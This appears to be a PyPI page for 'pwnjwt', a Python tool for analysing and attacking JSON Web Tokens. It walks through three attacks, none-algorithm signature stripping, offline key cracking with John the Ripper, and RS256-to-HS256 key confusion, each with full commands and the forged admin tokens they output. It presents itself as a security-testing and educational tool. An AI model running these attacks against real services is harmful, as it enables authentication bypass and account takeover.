pwnjwt
JWT pwn Python module
This small module allows you to create JWToken instances. This object will store informations about the token such as if it's signed and with which algorithm. But if you have JohnTheRipper installed on your path and (optionally) a wordlist you could try to break the secret key of the token. Then you'll be able to forge a new valid token, signed with the cracked key.
Disclamer
This module is for security checking and educational purposes. Don't use it for anything illegal. You are the only responsible of your acts.
Installation
pip install pwnjwt
or
git clone https://github.com/chalios/pwnjwt.git
cd pwnjwt
pip install -e .
It is recommanded to create a virtual environment with python3 -m venv path/to/myenvironment.
Usage
You can use it by 2 ways:
- Standalone :
pwnjwt -b -w /usr/share/wordlists/rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE - As a module in Python:
from pwnjwt import JWToken
token = JWToken('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE')
# OR if you know the key
token = JWToken('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE', key='Sn1f')
token.encoded == 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE'
token.header == {'typ':'JWT', 'alg':'HS256'}
token.signed == True
token.algo == 'HS256'
token.key == '' # OR 'Sn1f'
token.payload == {'role': 'guest'}
# Will bruteforce and update the token.key
token.bruteforce(wordlist='../rockyou.txt')
# If you got the key (token.key):
new_token = token.forge({'role':'admin'})
Standalone Examples
The 3 main ways to hack JWT are:
- Remove signature and set algorithm to None
- Bruteforce the key (as it can be done offline)
- If encoded in RS256 (asymetric Private/Public keys) -> switch to HS256 with public key as key.
Case 1 - Unsign
./pwnjwt.py -f '{"username":"admin"}' -a None \
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.\
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.\
cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Output:
Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Header : {'alg': 'HS256', 'typ': 'JWT'} (eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9)
Payload : {'sub': '1234567890', 'name': 'John Doe', 'admin': True} (eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9)
Algorithm : HS256
Key :
[+] New Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.
Case 2 - Crack the key
./pwnjwt.py -b -w /usr/share/wordlists/rockyou.txt \
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.\
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.\
cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Output :
[*] Starting Bruteforce with John using /usr/share/wordlists/rockyou.txt.
[+] Key found: Sn1f
Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Header : {'alg': 'HS256', 'typ': 'JWT'} (eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9)
Payload : {'sub': '1234567890', 'name': 'John Doe', 'admin': True} (eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9)
Algorithm : HS256
Key : Sn1f
Or if key wasn't found :
[*] Starting Bruteforce with John using /usr/share/wordlists/rockyou.txt.
[-] Key not found.
Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Header : {'alg': 'HS256', 'typ': 'JWT'} (eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9)
Payload : {'sub': '1234567890', 'name': 'John Doe', 'admin': True} (eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9)
Algorithm : HS256
Key :
Case 3 - Switching RSA256 - HMAC-SHA256
./pwnjwt.py -f '{"username":"administrator_root_superGOD"}' -a HS256 \
-k public.pem \
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.\
eyJ1c2VybmFtZSI6IkdvZE1hc3RlciJ9.\
QxrGZtmKXEzoLLdnUm1AZDyNZttM4GFeJcC3E66uQWF4vp2hAbHc2j1uzesS7Mha9i2EEtb\
8PnPw6UHSiIp965kuHhKM6O3m-2S36lKiTE-qGGW66Run3g4y1BuhUGZuxsnn2B3YlznHcF\
P1WR3DbybQDf7N7OmtLLZMWsRD0A-fzj_RiPjv_EzFVtCBPJMApvF7JxXosd4nlpVa8pxYR\
hPU0fjLGGYB2zxokarZLWCpcdGde_5Rs76gnerEvcptXp5zTxWF0hF6JNqrAng7JdtS_uo5\
CYjQ0DSHXATdqNd-mZdGHeYUwQe1JgTJ7oLal4GNhspwaQCIa5R9KFx8rw
Output:
Token : eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IkdvZE1hc3RlciJ9.QxrGZtmKXEzoLLdnUm1AZDyNZttM4GFeJcC3E66uQWF4vp2hAbHc2j1uzesS7Mha9i2EEtb8PnPw6UHSiIp965kuHhKM6O3m-2S36lKiTE-qGGW66Run3g4y1BuhUGZuxsnn2B3YlznHcFP1WR3DbybQDf7N7OmtLLZMWsRD0A-fzj_RiPjv_EzFVtCBPJMApvF7JxXosd4nlpVa8pxYRhPU0fjLGGYB2zxokarZLWCpcdGde_5Rs76gnerEvcptXp5zTxWF0hF6JNqrAng7JdtS_uo5CYjQ0DSHXATdqNd-mZdGHeYUwQe1JgTJ7oLal4GNhspwaQCIa5R9KFx8rw
Header : {'typ': 'JWT', 'alg': 'RS256'} (eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9)
Payload : {'username': 'GodMaster'} (eyJ1c2VybmFtZSI6IkdvZE1hc3RlciJ9)
Algorithm : RS256
Key : -----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3KthdfLESvFKn9LqBfvT
RlakP02YGC7QJ4ywfFiOcWjrXvKKjUkPd3J+A/7/MjgbgGZaroJgDZn5WsDg40dx
a3DiVUQU7VGDBh1eKbslfabopCHtQWZ6zLyR38OMqlZjanzv2eEJCMmMxTzykTXm
GAZNIdHC8FuuXe6cdVGyfjRNqAfOUUzeFo7GCTWORXMf1/l1ouzJBO5SVj1YluMZ
Rwys1ysHZZDn/NAYY/vaubSq7jYEYbwRdfD3tJpnISHHUKH6YCbYjDApisaSiFV/
Q/JbE4OJS5NErZ5z6froyBbi+F1s85hfwB5UJPDvKlVVJpO30WPAl3pl/ddeGjtl
eQIDAQAB
-----END PUBLIC KEY-----
[+] New Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3Jfcm9vdF9zdXBlckdPRCJ9.ccQYH4Ch9PSeTwHmRJnRzgA9RUki20iMNOhNvLEOajk
And to check the new token:
./pwnjwt.py -k public.pem eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3Jfcm9vdF9zdXBlckdPRCJ9.ccQYH4Ch9PSeTwHmRJnRzgA9RUki20iMNOhNvLEOajk
Token : eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3Jfcm9vdF9zdXBlckdPRCJ9.ccQYH4Ch9PSeTwHmRJnRzgA9RUki20iMNOhNvLEOajk
Header : {'typ': 'JWT', 'alg': 'HS256'} (eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9)
Payload : {'username': 'administrator_root_superGOD'} (eyJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3Jfcm9vdF9zdXBlckdPRCJ9)
Algorithm : HS256
Key : -----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3KthdfLESvFKn9LqBfvT
RlakP02YGC7QJ4ywfFiOcWjrXvKKjUkPd3J+A/7/MjgbgGZaroJgDZn5WsDg40dx
a3DiVUQU7VGDBh1eKbslfabopCHtQWZ6zLyR38OMqlZjanzv2eEJCMmMxTzykTXm
GAZNIdHC8FuuXe6cdVGyfjRNqAfOUUzeFo7GCTWORXMf1/l1ouzJBO5SVj1YluMZ
Rwys1ysHZZDn/NAYY/vaubSq7jYEYbwRdfD3tJpnISHHUKH6YCbYjDApisaSiFV/
Q/JbE4OJS5NErZ5z6froyBbi+F1s85hfwB5UJPDvKlVVJpO30WPAl3pl/ddeGjtl
eQIDAQAB
-----END PUBLIC KEY-----
Metadata
Release files for pwnjwt 0.1.1
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| pwnjwt-0.1.1.tar.gz | 18.6 kB | Without provenance | Details for pwnjwt-0.1.1.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| pwnjwt-0.1.1-py3-none-any.whl | Python 3 | none | any | Details for pwnjwt-0.1.1-py3-none-any.whl |
Total release size: 37.2 kB
Release files / pwnjwt-0.1.1.tar.gz
| Download URL | pwnjwt-0.1.1.tar.gz |
|---|---|
| Size | 18.6 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
323a03a1bd5c65129a13461a6f96311028b792177f2ecc2695a7c524b81265c9
|
|
BLAKE2b-256 checksum How to use checksums |
3e79e9487ba4b46177439701327d07d88ab48975d0d019080d9b67b5a4527506
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.2.0 CPython/3.12.3
|
Release files / pwnjwt-0.1.1-py3-none-any.whl
| Download URL | pwnjwt-0.1.1-py3-none-any.whl |
|---|---|
| Size | 18.6 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
5e034584077bebf91916485e58c6f4ab08ff3f978e0bf6cef937a22befcca06a
|
|
BLAKE2b-256 checksum How to use checksums |
cbedbe9843473a6c90372764b92437a6f697300cec40c0a61e4a1fb3e4ebefdb
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.2.0 CPython/3.12.3
|
Security for pwnjwt 0.1.1
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.